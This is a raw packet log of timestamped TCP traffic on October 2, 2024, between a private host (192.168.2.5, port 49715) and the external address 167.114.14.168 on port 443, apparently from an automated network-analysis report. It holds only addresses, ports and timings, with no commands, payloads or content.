Oct 2, 2024 06:10:19.056540966 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.056576014 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.056583881 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.057291031 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.057306051 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.057363033 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.057369947 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.057399035 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.057416916 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.058608055 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.058621883 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.058670998 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.058677912 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.058721066 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.058721066 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.058860064 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.058875084 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.058914900 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.058921099 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.058944941 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.058957100 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.059210062 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.059225082 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.059271097 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.059278965 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.059288979 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.059319973 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.059524059 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.059547901 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.059581041 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.059587002 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.059612036 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.059623957 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.059674025 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.059689045 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.059729099 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.059736013 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.059746981 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.059796095 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.132195950 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.132215023 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.132283926 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.132313013 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.132355928 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.132369041 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.145100117 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.145116091 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.145191908 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.145205975 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.145374060 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.145745039 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.145761013 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.145816088 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.145822048 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.147226095 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.147248983 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.147291899 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.147311926 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.147321939 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.147398949 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.147413969 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.147449970 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.147458076 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.147483110 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.147510052 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.147811890 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.147830009 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.147878885 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.147885084 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.147895098 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.147923946 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.148164988 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.148180962 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.148231983 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.148238897 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.148255110 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.148267031 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.148274899 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.148288965 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.148308039 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.148318052 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.148346901 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.229414940 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.229434013 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.229482889 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.229506016 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.229533911 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.229552984 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.233993053 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.234008074 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.234076023 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.234085083 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.234116077 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.234136105 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.234623909 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.234639883 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.234751940 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.234757900 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.234822035 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.236234903 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.236251116 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.236332893 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.236340046 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.236390114 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.236669064 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.236687899 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.236738920 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.236746073 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.236769915 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.236784935 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.237095118 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.237112045 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.237159967 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.237165928 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.237184048 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.237251997 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.237560987 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.237576008 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.237643003 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.237649918 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.237684965 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.237713099 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.237848043 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.237862110 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.237899065 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.237905979 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.237926006 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.237952948 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.315781116 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.315817118 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.315856934 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.315871000 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.315886974 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.315932989 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.322544098 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.322557926 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.322607994 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.322616100 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.322725058 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.323160887 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.323178053 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.323221922 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.323229074 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.323261976 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.323291063 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.326350927 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.326368093 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.326410055 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.326416016 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.326426029 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.326457977 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.326649904 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.326664925 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.326704025 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.326709032 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.326744080 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.326761007 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.326824903 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.326838970 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.326900005 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.326906919 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.326955080 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.327147007 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.327162981 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.327207088 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.327214003 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.327490091 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.327508926 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.327549934 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.327557087 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.327568054 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.327600002 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.429202080 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.429217100 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.429292917 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.429313898 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.429866076 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.435728073 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.435744047 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.435810089 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.435817957 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.435998917 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.436742067 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.436758041 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.436810970 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.436819077 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.436835051 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.436913967 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.439460039 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.439479113 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.439531088 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.439537048 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.439567089 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.439585924 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.439800978 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.439815998 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.439853907 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.439860106 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.439894915 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.439919949 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.439959049 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.439974070 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.440012932 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.440018892 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.440045118 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.440057039 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.440262079 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.440278053 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.440311909 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.440316916 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.440340042 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.440359116 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.440553904 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.440568924 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.440608025 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.440614939 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.440648079 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.440735102 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.517690897 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.517704964 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.517797947 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.517813921 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.518001080 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.524305105 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.524319887 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.524450064 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.524475098 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.524605036 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.525258064 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.525271893 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.525332928 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.525341988 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.525506020 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.528166056 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.528181076 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.528238058 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.528249025 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.528394938 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.528413057 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.528440952 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.528450012 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.528476000 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.528496027 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.528700113 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.528716087 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.528760910 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.528768063 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.528917074 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.528933048 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.528969049 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.528975964 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.528994083 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.529027939 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.529179096 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.529201031 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.529257059 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.529266119 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.529309034 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.606288910 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.606304884 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.606378078 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.606409073 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.606595039 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.612731934 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.612746000 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.612807035 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.612823963 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.612838030 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.613261938 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.613956928 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.613971949 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.614032030 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.614039898 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.614136934 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.616655111 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.616669893 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.616719007 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.616725922 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.616756916 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.616792917 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.616923094 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.616938114 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.617029905 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.617038012 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.617257118 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.617275953 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.617290974 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.617296934 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.617327929 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.617352962 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.617513895 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.617527962 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.617594957 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.617602110 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.617710114 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.617815018 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.617841959 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.617877960 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.617883921 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.617939949 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.617955923 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.694833040 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.694855928 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.694925070 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.694952011 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.694967985 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.695008993 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.701313972 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.701333046 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.701412916 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.701420069 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.701868057 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.702449083 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.702465057 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.702560902 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.702568054 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.702919006 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.705295086 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.705315113 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.705379009 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.705389023 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.705502987 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.705718994 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.705734015 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.705796957 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.705805063 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.705931902 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.705949068 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.705987930 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.705993891 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.706007004 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.706037998 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.706202984 CEST	443	49715	167.114.14.168	192.168.2.5
